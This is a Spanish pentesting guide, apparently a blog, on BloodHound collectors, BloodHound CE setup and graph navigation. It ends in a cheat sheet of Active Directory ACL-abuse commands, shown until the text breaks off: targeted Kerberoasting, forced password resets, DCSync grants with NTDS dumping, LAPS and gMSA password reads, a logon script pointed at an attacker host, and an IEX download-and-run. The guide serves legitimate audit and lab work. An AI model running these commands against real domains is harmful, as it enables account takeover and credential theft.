Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
BloodHound es una herramienta fundamental en auditorías de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podría moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.
En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre BloodHound clásico y BloodHound Community Edition (CE).
A lo largo del blog veremos:
Cómo utilizar los diferentes collectors:
SharpHound.exe
: el ejecutable clásico.
SharpHound.ps1
: ideal para entornos con PowerShell habilitado.
bloodhound-python
: pensado para ejecución desde sistemas Linux.
RustHound-CE
: el collector moderno optimizado para BH-CE.
NetExec
: permite extraer relaciones básicas directamente desde Linux.
certipy-ad
: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE
Cuándo conviene usar cada uno.
Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.
Casos prácticos de uso en auditorías reales o entornos simulados.
El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditoría y aprovechar al máximo sus capacidades.
Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los collectors, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.
Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.
En este apartado documentamos los principales collectors utilizados en auditorías de AD, incluyendo su instalación, ejecución y particularidades:
SharpHound.exe
: el ejecutable clásico para entornos Windows.
SharpHound.ps1
: alternativa en PowerShell útil en entornos con políticas más restrictivas.
bloodhound-python
: collector multiplataforma, ideal para recolección desde sistemas Linux.
RustHound-CE
: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.
Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditoría.
¡MUY IMPORTANTE!
Siempre que consigamos un nuevo usuario, se recomienda lanzar de nuevo el recolector de BloodHound con esas credenciales. Es posible que el primer usuario tuviera permisos limitados para enumerar el dominio, y con el nuevo podamos obtener más relaciones o privilegios que antes no eran visibles.
Por eso, con cada cuenta nueva, lo ideal es ejecutar otro collector y generar un nuevo .zip
con la información actualizada del entorno.
sudo apt install bloodhound.py -y
pip install bloodhound
pipx install bloodhound
git clone https://github.com/dirkjanm/BloodHound.py
pip install .
Use
Se recomienda antes sincronizar la hora con el DC para evitar problemas de KRB_AP_ERR_SKEW.
sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10
# Autenticación usuario y contraseña
bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
# Autenticación a través de Pass-the-Hash (PtH)
bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
# Autenticación mediante Kerberos (.ccache)
bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos
Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.
Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.
cargo install rusthound-ce
Use
# Autenticación usuario y contraseña
rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound
# Autenticación mediante Kerberos (.ccache)
rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound
# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.
IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")
# Teniendo el script de PowerShell en la máquina vícitma podemos importarlo de la siguiente manera
. .\SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethods All -Domain contoso.com
Pasaremos el binario al equipo víctima y lo ejecutaremos para recolectar la información.
.\SharpHound.exe --CollectionMethods All
# Autenticación a través de usuario y contraseña
nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10
# Autenticación a través de Pass-the-Hash (PtH)
nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10
# Autenticación a través de Kerberos (.ccache)
nxc ldap dc.dominio.htb --use-kcache --bloodhound --collection All --dns-server 10.10.10.10
# Autenticación a través de usuario y contraseña
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Pass-the-Hash (PtH)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Kerberos (.ccache)
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
# Autenticación a través de usuario y contraseña
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Pass-the-Hash (PtH)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Kerberos (.ccache)
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.
sudo apt update -y && sudo apt install docker-compose -y
Nos descargaremos el archivo del docker-compose.yml
con cURL
y comprobaremos que se ha descargado correctamente.
curl -L https://ghst.ly/getbhce -o docker-compose.yml
También podemos crear directamente el contenido del docker-compose.yml
.
# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
services:
app-db:
image: docker.io/library/postgres:16
environment:
- PGUSER=${POSTGRES_USER:-bloodhound}
- POSTGRES_USER=${POSTGRES_USER:-bloodhound}
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
- POSTGRES_DB=${POSTGRES_DB:-bloodhound}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
# ports:
# - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
volumes:
- postgres-data:/var/lib/postgresql/data
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
graph-db:
image: docker.io/library/neo4j:4.4.42
environment:
- NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
- NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
ports:
- 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
- 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
volumes:
- ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
healthcheck:
test:
[
"CMD-SHELL",
"wget -O /dev/null -q http://localhost:7474 || exit 1"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
bloodhound:
image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
environment:
- bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
- bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
- bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
- bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
- bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
- bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
- bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
### Add additional environment variables you wish to use here.
### For common configuration options that you might want to use environment variables for, see `.env.example`
### example: bhe_database_connection=${bhe_database_connection}
### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
### is the variable available outside of Docker
ports:
### Default to localhost to prevent accidental publishing of the service to your outer networks
### These can be modified by your .env file or by setting the environment variables in your Docker host OS
- ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
### Uncomment to use your own bloodhound.config.json to configure the application
# volumes:
# - ./bloodhound.config.json:/bloodhound.config.json:ro
depends_on:
app-db:
condition: service_healthy
graph-db:
condition: service_healthy
volumes:
neo4j-data:
postgres-data:
Iniciaremos los contenedores definidos en el archivo docker-compose.yml
.
sudo docker-compose up -d
Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.
sudo docker ps
Comprobaremos la contraseña inicial en los logs.
sudo docker logs bloodhound-ce_bloodhound_1
Accederemos a http://localhost:8080 y asignaremos las siguientes credenciales:
Username: admin
Password: Contraseña Inicial obtenida en el punto anterior
Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.
Ya dispondremos de nuestro BloodHound CE
instalado correctamente en nuestro equipo a través de Docker.
En mi caso tengo el archivo docker-compose.yml
en el directorio /opt/BloodHound-CE
. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.
Para iniciar el BloodHound-CE deberemos tener los contenedores ya instalados tal y como se indica en los puntos anteriores.
El comando sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml up -d
nos sirve para iniciar de cero los contenedores, esto es útil si hay alguna modificación en el docker-compose.yml. En nuestro caso no lo modificaremos, por lo tanto deberemos utilizar el start
para iniciarlo.
sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
Para parar BloodHound-CE
ejecutaremos el siguiente comando, así liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop
Para subir nuestra información recolectada a través de los Collectors, deberemos de ingresar a http://localhost:8080. Una vez nos encontremos en el panel de BloodHound-CE realizaremos los siguientes pasos.
Ingresar al apartado de "Administration"
Acceder a la pestaña de "File Ingest"
Click en "Upload File(s)"
Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.
Seleccioanaremos nuestro archivo comprimido.
Una vez seleccionado nuestro archivo, le daremos a la opción de Upload.
Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a Close.
Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como Complete. En caso de que aparezca otro estado como Cancelled, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del Collector utilizado, probar con otro.
Una vez todo subido, podemos hacer uso de BloodHound-CE y navegar en la interfaz.
Cuando necesitemos borrar la "base de datos" que tiene BloodHound-CE de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "limpieza profunda" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.
Accederemos al apartado "Administration"
Ingresaremos al apartado de "Database Management"
Marcaremos todas las casillas, para la "limpieza profunda"
Haremos click en la opción de "Proceed"
Ingresaremos la palabra clave para confirmar la eliminación "Please delete my data"
Una vez ingresada la palabra de confirmación, le daremos a "Confirm".
Una vez tengamos subido nuestros datos en BloodHound-CE, podremos navegar en la interfaz accediendo al apartado de "Explore".
Search
En el apartado de SEARCH
podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).
Click node info
Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.
Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.
En el apartado de Object Information, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:
Distinguished Name
Si el usuario dispone de DONT_REQ_PREAUTH (Es decir, susceptible a AS-REP Roast)
Si se encuentra habilitado
Al desplegar el apartado de Member Of de un nodo/objeto (usuario) en este caso, nos aprecerá un esquema de cómo se encuentra distribuido, a qué grupos forma parte, etc.
En la sección Outbound Object Control, BloodHound muestra los objetos sobre los que tenemos control gracias a permisos ACL. Esto nos permite identificar posibles vectores de ataque, como movimientos laterales o escaladas de privilegios.
Desde aquí podemos ver relaciones útiles como GenericWrite
, WriteDACL
, AddMember
, entre otras, que nos dan acceso directo a otros usuarios, grupos o equipos del dominio.
Tenemos una gran lista de ACLs interesantes para atacar en Abusing Active Directory ACLs/ACEs.
En la sección Inbound Object Control, BloodHound muestra qué objetos del dominio tienen control sobre nosotros mediante ACLs.
Pathfinding
La funcionalidad de Pathfinding en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.
En este ejemplo, partimos desde OLIVIA@ADMINISTRATOR.HTB
, que tiene un GenericAll
sobre MICHAEL@ADMINISTRATOR.HTB
, lo que permite control total sobre esa cuenta. A su vez, MICHAEL
puede forzar el cambio de contraseña de BENJAMIN@ADMINISTRATOR.HTB
, lo que completa la cadena de ataque.
Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.
Edges
En BloodHound CE, los edges representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (MemberOf
), delegaciones (GetChanges
, GenericAll
, etc.), sesiones activas, ACLs y muchas otras.
Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:
Muestra una descripción técnica de la relación detectada.
Explica cómo se podría abusar de esa relación desde un entorno Windows.
Muestra el equivalente en herramientas como Impacket o similares desde Linux.
Enlaces útiles para ampliar la información técnica o práctica del abuso.
Marking Objects as Owned/High Value
BloodHound CE permite marcar manualmente objetos del dominio como Owned (comprometidos) o High Value (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditoría y enfocar los análisis de ruta hacia activos críticos.
Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un ícono correspondiente.
Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).
Se usa para señalar objetivos importantes como Domain Admins, cuentas de servicio clave o sistemas críticos.
En el panel Group Management podemos gestionar de forma organizada los objetos marcados como Owned
o High Value
. Su uso se resume en los siguientes pasos:
Accedemos al apartado Group Management desde el ícono de personas (barra lateral izquierda).
Seleccionamos el grupo que queremos revisar Owned/High Value
.
Elegimos el entorno, normalmente All Active Directory Domains
.
Aplicamos filtros si queremos ver solo ciertos tipos de nodos (User
, Group
o Computer, etc
).
Se muestra el listado de objetos que pertenecen a ese grupo, junto con su tipo y estado.
Al hacer clic sobre un nodo, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.
Esta sección permite llevar control visual de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.
Querys Cypher
En esta sección podemos lanzar queries en lenguaje Cypher para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos críticos de forma más precisa.
BloodHound CE ya trae varias queries predefinidas, como:
Usuarios Kerberoastables
Rutas más cortas hacia Domain Admins
Listado de todos los Domain Admins
Principales con privilegios peligrosos (DCSync, GenericAll, etc.)
También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.
Custom Querys
BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones específicas en el grafo y reutilizar esas búsquedas en futuras auditorías.
En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.
En este caso, ponemos la QUERY que queremos consultar, le daremos a "Save Query".
Le asignaremos un nombre a la QUERY.
Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.
Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.
sudo apt update -y && sudo apt install bloodhound neo4j -y
Abriremos en una terminal aparte Neo4j, se nos iniciará la interfaz web en http://localhost:7474
sudo neo4j console
Accederemos a http://localhost:7474 e ingresaremos las siguientes credenciales por defecto.
Username: neo4j
Password: neo4j
Nos pedirá cambiar la contraseña.
Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.
bloodhound > /dev/null 2>&1 & disown
Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.
Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.
Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.
En una terminal aparte, abriremos Neo4j. Deberemos dejar que nos aparezca la línea del output en el cual indica que la interfaz web está habilitada en http://localhost:7474
sudo neo4j console
Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.
bloodhound > /dev/null 2>&1 & disown
Podemos configurar un SPN ficticio en una cuenta de destino, solicitar un ticket de servicio (TGS), luego obtener su hash y realizar Kerberoasting Attack. Disponer de permisos de GenericAll o GenericWrite
# Asignar un SPN ficticio (cifs/gzzcoo) a la cuenta llamada 'target'.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
# Conseguir el ticket TGS del usuario que hemos hecho Kerberoastable.
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request-user 'target'
# Dejar el SPN vacío sobre el usuario que habíamos vuelto Kerberostable.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName
---------------------------------------------------------------------------------------
# A través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
# Proceso automático, asigna un SPN a los usuarios que disponga permisos, te da el ticket TGS y luego deja al usuario tal y como estaba.
python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d dominio.htb -u 'user' -p 'password'
# Asegurarse de que el usuario víctimo no disponga de SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname
# Configurar el SPN al usuario víctima
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}
# Obtener el Kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl
# Borrar el SPN del usuario víctima para dejarlo como estaba
$User | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname
Podemos asignar a un usuario la flag de (DONT_REQ_PREAUTH), solicitar un ticket (TGT), luego obtener un hash y realizar AS-REP Roast. Disponer de permisos de GenericAll o GenericWrite
# Asignamos al usuario 'target' la flag de (DONT_REQ_PREAUTH)
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
# Solicitamos el ticket TGT del usuario AS-REP Roastable
impacket-GetNPUsers dominio.htb/target -no-pass 2>/dev/null
# Volvemos a la normalidad al usuario AS-REP Roastable
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH
---------------------------------------------------------------------------------------
# Desde PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'
# NECESARIO DE IMPORTAR PowerView.ps1 Y ASREPRoast.ps1 EN EL EQUIPO WINDOWS VÍCTIMA
# Modificamos el userAccountControl (UAC) del usuario para volverlo AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue
# Solicitamos el ticket TGT
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain dominio.htb -UserName username
# Dejamos por defecto el UAC del usuario
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue
Modificar la contraseña de otro usuario. Disponer de permisos de GenericAll
# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------------
# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'
# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain
# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred
WriteProperty en un ObjectType, que en este caso particular es Script-Path, permite al atacante sobrescribir la ruta del script de inicio de sesión del usuario delegado, lo que significa que la próxima vez que el usuario delegado inicie sesión, su sistema ejecutará nuestro script malicioso. Disponer de permisos de GenericAll o GenericWrite
# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
@ Asignamos al usuario 'target' que ejecute un script malicioso ubicado en el mismo equipo víctima
Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}
Agregarnos a nosotros mismos a un grupo o a otro usuario del dominio.
# Disponemos de permisos de GenericAll sobre el grupo, por lo tanto nos agregamos a nosotros al grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'
# Añadir a usuario 'UserToAdd' a un grupo donde tenemos permisos de GenericAll
net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W dominio.htb -I 10.10.10.10
# Añadir usuario 'target' al grupo 'Group_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'
net group 'GROUP TARGET' 'USER_TARGET' /add /domain
Este permiso permite modificar la Lista de Control de Acceso Discrecional (DACL) de un objeto, lo que habilita al usuario cambiar los permisos asociados. Un atacante con WriteDACL podría concederse privilegios adicionales o revocar accesos legítimos, comprometiendo la seguridad del sistema.
WriteDACL en el Dominio
# Teniendo permisos de WriteDACL sobre el dominio, podemos dar permisos de DCSync a cualquier usuario
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
# Una vez el usuario tenga los permisos de DCSync, hacemos un dump del NTDS.dit
impacket-secretsdump dominio.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm
# Volvemos a asignar al usuario víctima en el estado anterior
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'
# Otorgar permisos de DCSync a la identidad 'user_target'
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb
WriteDACL en un grupo
# Con WriteDACL en un grupo, otorgamos a un usuario permisos de control total sobre el grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'
# Quitamos el permiso de genericAll para dejarlo como antes
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'
# Añadirnos al grupo con comandos nativos de Windows
net group 'GROUP_TARGET' 'user_target' /add /domain
# A través de PowerSploit para darnos permisos de WriteMember sobre el grupo
ADd-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'
Un atacante puede convertirse en propietario de un objeto. Una vez que el propietario haya sido modificado por uno el cual el atacante dispone de acceso, este puede manipular el objeto teniendo control absoluto sobre él.
# Nos convertimos en propietario del objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
# Para garantizar el control total, al ser propietarios nos otorgamos genericAll sobre el objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
-----------
# Convertir en propietario el usuario 'user_target' del objeto 'object_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'
# Necesario de importar PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
ADd-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'
Si un atacante dispone de un usuario con privilegios de ReadLAPSPassword, este puede leer la contraseña de LAPS del equipo al cual se aplica este ACL.
# Leer la contraseña LAPS a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Leer la contraseña LAPS a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps
# Leer la contraseña LAPS a través de LAPSDumper
python3 laps.py -u 'user' -p 'password' -d dominio.htb
# Leer la contraseña LAPS a través de PowerShell (comando nativo)
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# Leer la contraseña LAPS a través de Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 10.10.10.10 -Credential dominio.htb\user| Format-Table -AutoSize
Si un atacante dispone de un usuario con privilegios de ReadGMSAPassword, este puede leer la contraseña de GMSA del equipo al cual se aplica este ACL.
# Leer la contraseña GMSA a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
# Leer la contraseña GMSA a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa
# Leer la contraseña GMSA a través de gMSADumper
